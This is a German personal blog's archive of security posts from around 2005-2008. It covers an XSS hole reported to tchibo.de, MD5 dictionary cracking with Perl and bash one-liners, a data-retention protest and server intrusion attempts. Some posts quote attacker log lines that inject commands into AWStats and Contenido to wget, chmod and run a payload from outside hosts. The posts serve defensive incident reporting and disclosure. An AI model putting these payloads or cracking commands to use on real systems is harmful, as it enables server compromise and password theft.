Security

Wie ich zu meiner Erheiterung eben auf Heise gelesen habe, leitet perl.com neuerdings auf ein dubioses Blog (grepblogs.net) weiter, wo mit Erotik-Inhalten geworden wird. Witzigerweise gehört diese Domain aber Tom Christiansen, einem bekannten Perl-Entwickler. Offenbar hat er versucht, sich ein zweites Standbein aufzubauen, wenns mit PERL mal nicht mehr so klappt Das PERL-Hauptquartier unter perl.org ist aber weiterhin problemlos erreichbar.

Dies ist auf jeden Fall mal wieder ein tolles Beispiel dafür, dass man fremde JavaScript nicht auf seiner Seite einbinden sollte. Schuld ist hier nämlich ein JavaScript-Include, das folgendermaßen aussieht:

<script src="http://grepblogs.net/adx.js" type="text/javascript" language="JavaScript">

Normalerweise liefert dieses Script wahrscheinlich nur ein Banner oder so etwas aus, in diesem Fall aber eben eine nette Weiterleitung

Besonders toll wäre dieses Szenario, wenn mal wer ein paar Server von Google-Analytics hackt. Dann könnte ein Angreifer quasi das halbe Internet manipulieren und auf eigene Server umleiten. Schließlich haben millionen von Webseiten das Google-Analytics-JavaScript bei sich eingebunden. Unter Anderem auch diverse von mir betriebene Projekte. Bei Google sollte der Sicherheitsstandard zwar entsprechend hoch sein, generell ist dies aber kein netter Gedanke. Zumal ja nichtmal Google schuld sein muss, schließlich würde DNS-Spoofing auch schon reichen, um google-analytics.com umzuleiten ...

Nachdem ich mich die Tage mit einer Nasennebenhöhlenentzündung rumgeplagt habe bzw. immernoch rumplage (daher meine geringer Aktivität hier) ist von Tchibo.de bereits die nächste kompetente Antwort auf die von mir entdeckte XSS-Lücke eingetroffen. Schockierenderweise sah die Antwort diesmal so aus:

Sehr geehrter Herr Klikics,
[ ... ]
Das Problem ist bekannt. Soweit uns bekannt ist, wird dies bei den wichtigen Seiten unterbunden.
Sie können uns gerne einen Tipp schicken, damit wir weiter Verbesserungen machen können.

Ist nicht wahr, oder? Entweder man unterbindet XSS konsequent oder man lässt es. Schließlich spielt es im Falle eines Missbrauchs doch keine Rolle, wo genau der User seine Kreditkartennummer an den Phisher übermittelt. Als "Tipp" habe ich diesmal geantwortet, dass man HTML-Tags prinzipiell aus Userangaben entfernen sollte, vor Allem wenn man die Userangaben nach dem Absenden eines Formulares noch einmal anzeigt. Mal schauen ob ich erneut eine so tolle Antwort erhalte.

Im Grunde hätte ich die Lücke (die natürlich immernoch besteht) vielleicht lieber aktiv nutzen sollen, anstatt mich mit dem Support rumzuschlagen. Für eine Senseo-Maschine z.B. für 29,99 EUR hätten doch sicher jede Menge Leute ihre Kreditkartennummer an mich übermittelt, oder?

Nachdem ich vor einigen Tagen eine XSS-Lücke auf tchibo.de entdeckt hatte, antwortete mir der sofort informierte Support heute leider sehr unzureichend auf die Info zur Schwachstelle in der eigenen Webseite. Offenbar vermutet der Mensch im Support, dass ich das sinnlose "Stallowned"-Bild mit in meine Empfehlungs-eMail packen will. Sehr interessant, diese Vermutung

Meine Erwähnungen von "XSS-Lücke" und "Sicherheitsproblemen" wurden großzügig übersehen und ignoriert, so dass ich leider Opfer dieser Standardantwort wurde:

Sehr geehrter Herr Klikics,
[ ... ]
Die Angaben der fett markierten Felder benötigen wir, um Ihre Empfehlung bearbeiten zu können.
Diese sind bei Ihnen nicht gefüllt.

Das "eingefügte" Bild kann nicht mitgesendet werden.
[...]

Aber natürlich lasse ich nicht locker und habe erneut mit der Bitte um Weiterleitung meiner Info's an die IT geantwortet. Mal schauen, was nun zurückkommt ...

Vorgestern las ich mit Interesse den Heise-Artikel zu einer XSS-Lücke auf bundesregierung.de, wo Marcell Dietl in Blog Links zu bundesregierung.de gepostet hatte, auf dem Ex-Rambo Sylvester Stallone mit einem coolen Hemd und dem Spruch "You got STALLOWN3D" zu sehen war (Link zum Bild). Das war nach dem Fake-Rücktritt von Angela Merkel bereits die 2. Lücke auf der Website der Bundesregierung. Nunja, dass unsere Regierung nicht nur offenkundige Fehler auf ihrer Website sondern in diversen Bereichen hat, ist ohnehin schon lange klar

Alternativ zu dieser Heise-Meldung hatte ich in einem weiteren Tab meines Firefox noch den Onlineshop eines großen Kaffee- und Schnäppchen/Allesanbieters, nämlich tchibo.de, offen. Eine Skijacke hatte es mir besonders angetan, so dass ich diese gleich einem Familienmitglied per Empfehlung senden wollte. Natürlich gibts diese Funktion beim eingesetzten Shopsystem Intershop auf tchibo.de zu jedem Produkt als Option. Und natürlich werden dort (leider) die Eingaben nicht ordentlich geprüft, so dass man mit diversen Tags die tollsten Sachen auf der Tchibo-Seite machen kann. Unter Anderem kann man das coole Stallowned-Bild dort einbinden (siehe Screenshot) und Texte hinterlegen (hier: XSS ist plöt!). Das sind wahrscheinlich noch die harmlosesten Varianten, mit I-Frames und externen Javascripts kann man noch viel mehr machen, vielleicht sogar unerfahrene User zur Eingabe ihrer Kreditkartennummern usw. bewegen, wenn man massenhaft Spams mit diesen manipulierten Links raushaut. Wie einfach das geht, und dass es dort in dem Formular keinerlei Sicherheitsabfragen gibt, zeigt dieser Direktlink (keine Ahnung, wie lange der funktionieren wird), der den Nutzer direkt zu der manipulierten Seite bringt - in diesem Fall nur wieder mit dem harmlosen Bild von "Sly"

Natürlich habe ich es nicht bis auf die Spitze getrieben, sondern lieber die Betreiber über den Missstand informiert ... die Kollegen dort sollten also dringend mal die Datei /home/cvs/cvsroot/tchibo_cvs/dev/share/private/eCS/Store/templates/de/tch_de_recommendation.isml bearbeiten - witzigerweise lässt sich der absolute Pfad zum File im CVS-Repository direkt als Kommentar aus dem Quelltext auslesen (was ja eigentlich nix macht hier an der Stelle). Da kann man auch sehen, dass die Datei zuletzt am 30.11.07 bearbeitet wurde.

Leider gibt es wahrscheinlich noch tausende von Webseiten, die derartige Lücken aufweisen und sich der Konsequenzen nicht bewusst sind. Spätestens aber wenn die eigene Seite einmal für Phishing oder Ähnliches missbraucht wurde und evtl. sogar deswegen in der Presse auftaucht, werden die kleinen Lücken zu richtigen Problemen. Dabei ist es doch eigentlich recht einfach, dies zu umgehen. Eine einfache Umwandlung oder Entfernung von HTML-Tags in Eingabefeldern behebt dieses Problem beispielsweise sehr effektiv.

Update:
Im Heiseforum war ein weiteres, sehr nettes Beispiel verlinkt: XSS auf cdu.de - nur mal als Beweis dafür, dass tausende Sites betroffen sind

Mit einem Schmunzeln las ich kürzlich den Blogeintrag "Google as a password cracker" bzw. den Artikel dazu auf heise.de. Da hat also Jemand zufällig einen MD5-Hash "reverse lookup'en" können, indem er ihn bei Google eingegeben hat. Er kam dann darauf, dass der Hash "20f1aeb7819d7858684c898d1e98c1bb" aus dem Wort "Anthony" entstand. Inzwischen oder evtl auch schon viel länger kann man das übrigens auch mit dem "reverse engineer" auf md5.rednoize.com herausbekommen - ebenso derzeit 48.424.776 weitere Hashes. Eine wirklich interessante Website

Einmal mehr sieht man daran, dass normales MD5-Hashing nicht (mehr) ausreicht, um Passwörter sicher zu speichern. Da sollte man wenigstens mit einem Salt oder besser gleich mit SHA1 arbeiten, um die Passwörter sicher in irgendwelchen Datenbanken etc. zu speichern. Für den Endanwender bleibt es natürlich dabei, ein möglichst komplexes Passwort zu verwenden. "Anthony" gehört übrigens definitiv nicht dazu.

Linux selbst eignet sich übrigens im Zusammenspiel mit PERL auch perfekt zum "Cracken" von MD5's, dabei kann man sich direkt das Dictionary mit seinen derzeit 98.569 gängien Worten (auf meinem Ubuntu-Laptop eben nachgezählt) unter /usr/share/dict/words zu nutze machen:

perl '-MDigest::MD5(md5_hex)' -ne 'chomp; print "$_\n" if md5_hex($_)
eq "20f1aeb7819d7858684c898d1e98c1bb"' /usr/share/dict/words

Obiges Kommando gibt, wie sollte es anders sein, "Anthony" zurück
Achja, und die Bash selbst kann das natürlich auch, wenn auch deutlich langsamer:

for i in `cat /usr/share/dict/words`; do echo -n $i | md5sum | grep 20f1aeb7819d7858684c898d1e98c1bb && echo -n $i; done

PS: Wer e7c76cef847afb15ad91d9fa29321509 "knackt", kann sich einen Keks nehmen

Es war saukalt (gefühlte 0 Grad oder sowas), deshalb war ich im ersten Moment überrascht, dass sich in Dresden dennoch um die 400 Leute versammelt hatten (Thema dazu im Heise-Forum). Insgesamt sind es laut Pressecenter bisher aber nur lausige 11.000 Teilnehmer gewesen, weshalb auch 400 für Dresden gemessen an den Einwohnern deutlich zu wenig sind. Für mich eine deprimierende Zahl, bedenkt man, worum es geht. Die Teilnehmer hier in Dresden waren fast alle unter 30 (ok, wir ja auch ), was mir auch ein wenig Sorgen bereitet. Es scheint also fast so, als ob nur die junge Geek-Fraktion sich für das Problem der Vorratsdatenspeicherung interessieren würde. Besonders die älteren Bürger unseres Landes müssten doch aber eigentlich viel besser wissen, wohin sowas führt.

Von der eigentlichen Demo haben wir nicht viel mitbekommen, da man in den hinteren Reihen kaum ein Wort verstanden hat. Das machte allerdings nur bedingt etwas, schließlich wissen wir ja, worum es ging Dafür wurde das Grundgesetz mehrfach vorgetragen, was ich eher weniger sinnvoll fand. Am besten kam mir noch die Rede von 2 Mitgliedern des CCC vor, auch wenn wir hier ebenfalls nur die Hälfte verstanden haben. In den Lokalnachrichten habe ich bisher nichts dazu finden können, wenigstens aber auf n24.de, golem.de und natürlich heise.de. Ein wenig mehr Berichterstattung in der Presse wäre allerdings wünschenswert.

Man kann davon ausgehen, dass die Geschichte Freitag beschlossen wird. Dann kommt es eben darauf an, ob die Sammelklage erfolg hat bzw. wie dann entschieden wird. Es bleibt also auf jeden Fall spannend und wir lassen uns nicht beirren

Anbei noch 2 Handyfotos von der Demo in Dresden:

 

Ich bin eigentlich nicht der typische "Contra-Typ", der prinzipiell erst einmal gegen eine jede Sache ist, nur aus Prinzip. Bei der Vorratsdatenspeicherung sieht es allerdings schon ein wenig anders aus. Schließlich betrifft das wirklich jeden User des Netzes bzw. sämtlicher Kommunikationseinrichtungen unserer Zeit. Schließlich habe ich, wie díe meisten anderen normalen Menschen auch, keine Lust, hier zum gläsernen Bürger zu werden, dessen Aktivitäten in fast jeder Hinsicht komplett nachvollziehbar werden. Wir kommen "1984" immer näher und das macht mir wirklich Angst.

Wenn wir also nichts tun, haben wir in wenigen Jahren tatsächlich jenen Überwachungsstaat, den wir nicht wollen. Ich denke da nur an den Bundestrojaner als weiteres Highlight von Stasi 2.0-Oberguru Schäuble. Vermutlich komme ich in 10 Jahren für diesen Blogeintrag hier nachträglich in den Knast, obwohl ich ihn in 2 Jahren aus Angst genau davor löschen werde. Der Vorratsdatenspeicherung zum Dank gibts dann aber natürlich zahllose Kopien davon in irgendwelchen Ministerien ... wer weiss das schon. Besonders toll ich auch die Tatsache, dass unsere gespeicherten Daten dann im "Datenschlussverkauf" an 52 weitere Staaten weitergegeben werden. Irgendwo verständlich, Kunstsammler tauschen ja auch gern mal untereinander ihre Sachen aus.

Ein Lichtblick ist allerdings die Sammelklage auf vorratsdatenspeicherung.de. Daher bitte ich alle Leser, die noch nicht mitgemacht haben, sich einzutragen und auch tatsächlich den Brief abzuschicken. Laut Heise könnte die Sammelklage sogar die größte in der Geschichte der BRD werden, was ich als Lichblick für unser Land bewerte. Wenigstens gibt es doch noch eine gewisse Anzahl von Leuten hier, die nicht blind den abartigen Ideen einer entgleisten Regierung folgen - Terrorwarnungen hin oder her. Es wird hoffentlich auch einmal die Zeit kommen, in der Terror nicht mehr als Entschuldigung für Rechtsverletzungen und Entmündigung der Bürger herhalten kann ...

In diesem Sinne ist es durchaus sinnvoll, auch als Demo-Muffel, am 06.11. mal den Hintern vor die Tür zu schwingen und ein Zeichen zu setzen. Ich werde das hier in Dresden tun und hoffe, einige Andere auch! Cu there

Da will man pflichtgerecht seinen Windows-PC mit Updates bedienen, doch dies scheint aktuell nicht möglich. Das tolle Updatedingens im IE 7 bricht mit dem Fehlercode "[Fehlernummer: 0x80072EFF]" einfach ab. In der Knowledge-Base von Microsoft lässt sich nichts Konkretes finden, ein Blick in die $SYSTEM_INSTALL_DIR$/WindowsUpdate.log brachte aber folgenden Eintrag ans Licht:

2007-09-21 11:42:07:671 2504 108 Misc WARNING: DownloadFileInternal failed for http://download.windowsupdate.com/v7/windowsupdate/a/selfupdate/WSUS3/x86/Other/wsus3setup.cab: error 0x80072eff
2007-09-21 11:42:07:671 2504 108 WUWeb FATAL: CheckIfClientUpdateNeeded failed: error 0x80072eff

Es sieht also so aus, als ob wir in Kürze von MS mit v7 des WindowsUpdate beschenkt werden - bisher war ja v6 aktuell. Nur leider hat MS wohl vergessen, die entsprechenden CAB-Files zum Download bereitzulegen Mir wäre sowieso lieber, dass ich das neu aufgesetzte System hier mit den dringend nötigen Updates versehen kann!

Ich will ja hier keine Schimpfwörter verwenden, aber diese Norton-Sachen sind doch wirklich irgendwie der letzte Schrott, oder? Das fängt damit an, dass z.B. "Internet Security" default den Referer im Browser deaktiviert, so dass viele User Probleme bei der Benutzung diverser Websites haben, die dies abfragen. Dass Norton Antivirus der langsamste Scanner weit und breit ist, tut da noch nicht einmal etwas zur Sache

Witzigerweise ist man nun mit Norton Internet Security nicht einmal mehr im IRC "sicher". Es gibt nämlich einen tollen Filter dort, der sofort die Verbindung zum Server trennt, sobald jemand in einem Channel "startkeylogger" oder "stopkeylogger" eingibt. Ist das nicht supernett von Norton? Schließlich könnte ja jemand einen Keylogger mit diesem Kommando starten, mh? Man kann sich sicher vorstellen, dass davon diverse User betroffen sind und nicht einmal wissen, was da los ist. Für die Wissenden ist das natürlich ein Riesenspaß, vor allem in größeren Channels. Das Blogentry des Entdeckers findet ihr hier! Auch Heise berichtete.

Bei dieser Gelegenheit möchte ich es nicht auslassen, noch einmal auf die weitgehende Sinnlosigkeit von Personal Firewalls unter Windows hinzuweisen. Mehr Infos zur Windows-Sicherheit findet ihr hier! Dort steht auch, warum Personal Firewalls meist sinnfrei sind. Aber das sagt natürlich meist nie einer den Norton-Usern ...

Das durch diverse Sicherheitslücken negativ aufgefallene AWStats scheint für diverse Hackversuche immernoch ein sehr beliebtes Einfalltor zu sein. AWStats ist ein grafisches Auswertungstool für Webserver-Logfiles, geschrieben in Perl. Ich selbst habe es ergänzend zu Webdruid/Webalizer im Einsatz.

So habe ich bei Stichproben in den Apachelogs von heute bereits diverse Einbruchsversuche bemerkt:

:~ # grep "wget" /usr/local/apache/logs/httpsd_24_01_2006.log
www.*.de 80.55.2.210 - - [24/Jan/2006:03:03:18 +0100] "GET awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget
%20194%2e102%2e194%2e115%2fscripz%3b
chmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
www.* 80.55.2.210 - - [24/Jan/2006:03:03:26 +0100] "GET
...

Die Quell-IP bleibt gleich (diesmal waren es wohl die bösen Polen), die getesteten Domains hingegen sind immer andere. Sehr merkwürdig das Ganze. Ebenfalls merkwürdig ist die Datei wpoison.words, die ich in /tmp gefunden habe. Keine Ahnung, ob das vielleicht eine Passwortliste oder sowas für Bruteforce sein soll? Mir sagen die Begriffe darin zumindest nichts, wohl aber der Dateiname. Zumindest ist mir dieser schön öfter negativ auf Serversystemen aufgefallen. Vielleicht weiss ja jemand Rat?

Mit einer gewissen Sorge schaue ich ebenfalls auf den neuen Mailwurm Nyxem (was soll das sein, ein "Nyxem"? ) bzw. auf die Mailqueue, die seit gestern auf rund 6000 Mails pro Knoten gestiegen ist. Das ist nicht weiter viel, aber viel wird da ja vielleicht noch kommen. Unsere Virenscanner bereiten sich aber bereits auf einen harten Kampf vor

Der Bug im CMS Contenido ist zwar bereits gefixt, dennoch musste ich heut gleich auf 2 Servern die Spuren eines Einbruchs über genau dieses CMS löschen. Natürlich war mein Lieblingstool "r0nin" wieder mit am Start. Das zeigt mal wieder Eindrucksvoll, dass sich viele User einfach nicht für die installiere Anwendung interessieren, nachdem diese einmal installiert ist und läuft. Besonders schön konnte bzw. kann man das auch bei phpBB beobachten. Darüber wurden auch sehr viele Server infiltriert. Auf den entsprechenden Systemen wurde nun erst einmal "url_fopen" in der php.ini auf Off gesetzt. Die Admins freuts, viele Kunde störts natürlich wieder ...

In Brasilien muss es sehr langweilig sein, ich würde bisher mind. 90% der "Hacks" auf unsere Server den südamerikanischen Kollegen zuordnen ...

Und so sieht das dann aus (zensiert):

www.*.de 201.19.165.xxx - - [13/Dec/2005:16:44:36 +0100] "GET /contenido/classes/class.inuse.php?cfg[path][contenido]=
http://*.aol.com.br/silvioet/tool25.png?&cmd=cd%20/dev/shm;wget%20http://*.no-ip.org/r0nin HTTP/1.1" 200 12494 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322)" "-"
www.*.de 201.19.165.xxx - - [13/Dec/2005:16:44:49 +0100] "GET /contenido/classes/class.inuse.php?cfg[path][contenido]=
http://*.aol.com.br/silvioet/tool25.png?&cmd=cd%20/dev/shm;chmod%20777%20r0nin HTTP/1.1" 200 12072 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322)" "-"
www.*.de 201.19.165.xxx - - [13/Dec/2005:16:44:59 +0100] "GET /contenido/classes/class.inuse.php?cfg[path][contenido]=
http://*.aol.com.br/silvioet/tool25.png?&cmd=cd%20/dev/shm;./r0nin HTTP/1.1" 200 12106 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322)" "-"

Man kann schön erkennen, wie die Scripte/Binarys via wget nachgeladen werden und dann entsprechend die Rechte gesetzt werden. Man könnte ja auch wget auf root chown'en und chmod 0700 setzen, vielleicht ärgert das die lieben Hacker ein wenig ...

Da besonders Shared-Webserver mit Perl/PHP gern das Ziel diverser Hackversuche sind, müssen diese natürlich besonders überwacht werden. Zur Unterstützung stetigen manuellen Prüfung auf der Konsole und zusätzlichen Nagios-Überwachung habe ich noch ein kleines Perlscript geschrieben, welches mehrmals täglich via Cron aufgerufen wird. Dabei wird die Ausgabe von "netstat" analysiert. Sollten über die Whiltelist von Ports/Diensten hinaus Aktivitäten stattfinden, wird eine simple Mail generiert und an den Admin gesendet. Natürlich ist dies kein wirklicher Schutz vor Rootkits etc, manche tollen Prozesse zum Portscan ("r0nin" und co.) wurden dadurch aber bereits frühzeitig entdeckt und konnten gleich eliminiert werden ... eine regelmäßige Analyse der Systeme von Hand ist dennoch zu empfehlen. Besonderes Augenmerk sollte dabei auch die Temp-Verzeichnisse (/tmp, /var/tmp etc.) gerichtet sein. Da tummelt sich gern allerhand Komisches, zumal dort i.d.R. ja jeder Schreib- und Ausführungsrechte hat. Auf Systemen mit grsecurity und ACL's haben derartige Geschichten natürlich fast keine Chance, aber das hat ja nicht jeder Server ...

Das Perl-Script findet der interessierte User hier im Sourcecode! Das Script ist nur unter Linux getestet und wird wohl auch auf keinem anderen OS ohne Anpassungen laufen. Anregungen sind natürlich willkommen!

"Phishing" ist eine üble Sache. Zumindest wenn man drauf reinfällt. Aktuell sorgt wieder die Umgehung des neuen iTAN-Verfahrens für Aufregung. Die gute Postbank hat nämlich nach dem Wegfall von BTX alle Kunden für HBCI freigeschalten, was ja eigentlich als netter Zug anzusehen wäre. Leider kann man ("man" = u.U. böser Phisher!) sich via HBCI entspannt weiterhin via PIN anmelden und via TAN aus der Liste überweisen. Im Klartext bedeutet das, dass man auch als iTAN-User nicht sicher ist. Andere Banken haben es offenbar ähnlich gehandhabt und dem Kunden ohne sein Wissen HBCI freigeschalten.

Ich halte ja generell das Gehirn des Menschen für den sichersten Schutz vor Phishing. Schließlich muss man schon ganz schön "einfach gestrickt" sein, wenn man auf schlecht geschriebene Texte vom Absender service@postbank.ru oder sowas hin einen Link klickt und dort dann seine Onlinebanking PIN inkl. mehrerer TANs eingibt. Wer macht bitte so etwas? Seit vielen Jahren nutze ich selbst den Online-Transaktionsmanager der Deutschen Bank, habe schon tausende Phishingmails bekommen und gelöscht - mein Geld ist aber immernoch da. Also liebe Leute, bitte erst denken, dann klicken!

Ich weiss schon, man kann nicht von sich auf Andere schließen. Aber selbst einem Internetneuling (aka DAU ) traue ich doch zu, dass er auf normales Phishing via Mail nicht hereinfällt. Freilich, für ein unsicheres Betriebssystem bzw. DAS unsichere Betriebssystem "Windows" kann man nichts. Aber schon der Einsatz eines alternativen Browsers wie Firefox und eines ordentlichen Mailclients im Zusammenspiel mit einem Virenscanner können Wunder wirken. Aber wie gesagt, das Gehirn selbst schützte mich bisher ganz gut ... und hier lief auch lage Zeit das Produkt aus Redmond!

Heut wollten wir eigentlich auf unseren diversen Webservern aufgrund der Sicherheitsprobleme in PHP <= 4.4.0 die aktuelle Version 4.4.1 einspielen. Nach diversen Berichten über Probleme mit dieser Version, u.a. auf heise.de, haben wir uns nun aber doch dagegen entschieden. Ich denke die Probleme durch das Upgrade wären einfach enorm, da dort ja elementare Array-Funktionen wie next(), prev() und reset() betroffen sind. Bleibt nur zu hoffen, dass die Jungs von von PHP bald die 4.4.2 nachschieben, die Sicherheitslücken in <= 4.4.0 sind nämlich auch sehr unschön. Ich bin ja froh, dass wenigstens vBulletin mit der 3.5.1 die Probleme erkannt und behoben hat, obwohl ja nicht vBulletin sondern PHP selbst schuld ist. Aber wenn man die php-dev Mailingliste liest, sieht das ja für die 4.4.2 ganz gut aus ...

Auch macht wieder der Backdoor.Linux.Small.al von sich reden, so dass grad Blog-User nochmal checken sollten, ob deren Server bzw. PEAR-Erweiterungen auf dem aktuellsten Stand sind! Denn besonders bei Blogs etc. kommt XML-RCP häufig zum Einsatz.

Wie Stefan Esser vom Hardened-PHP Project mitteilt, liegen gleich mehrere Probleme in den aktuellen PHP-Releases sowohl in der 4.4.0 als auch in der 5.0.5 vor. Für die 4er Versionen gibt es bereits ein Bugfix-Release, nämlich Version 4.4.1 (Changelog) - bei meinen morgentlichen Updates war es allerdings noch nicht einmal in Debian Sid aktualisiert.
Offenbar lässt sich das $GLOBALS - Array teilweise überschreiben, auch wenn register_globals in der php.ini auf Off steht (was es ja im besten Fall sollte!). Logischerweise werden natürlich besonders PEAR und vBulletin im Advisory erwähnt, wo ich doch beides sehr aktiv einsetze. Normal Wie das Überschreiben der Var's dann konkret aussieht, wird auch gleich beschrieben.

Spontan hat mich dieser Bug in PHP auch dazu angeregt, mir direkt mal Hardened-PHP genauer anzuschauen bzw. zu Überlegungen geführt, das auch in meinen Produktivumgebungen einzusetzen. Allerdings habe ich dazu bislang keine Erfahrungsberichte gelesen. Kann da jemand mit Erfahrungen prahlen?

Für mich heisst das auf jeden Fall in den nächsten Tagen etwas Arbeit durch Updates auf diversen Servern. der eAccelerator muss ja in den meisten Fällen auch wieder neu kompiliert werden ...

PS: Für alle, die noch in der Sommerzeit leben: Bitte schnell ntpdate ntp.ubuntulinux.org ausführen! Ich habe die Stunde an "Mehrschlaf" auf jeden Fall genossen. Nach dem Aufstehen war ich dann auch erfreut zu sehen, dass sämtliche wichtigen Server automatisch die Zeit aktualisiert hatten ...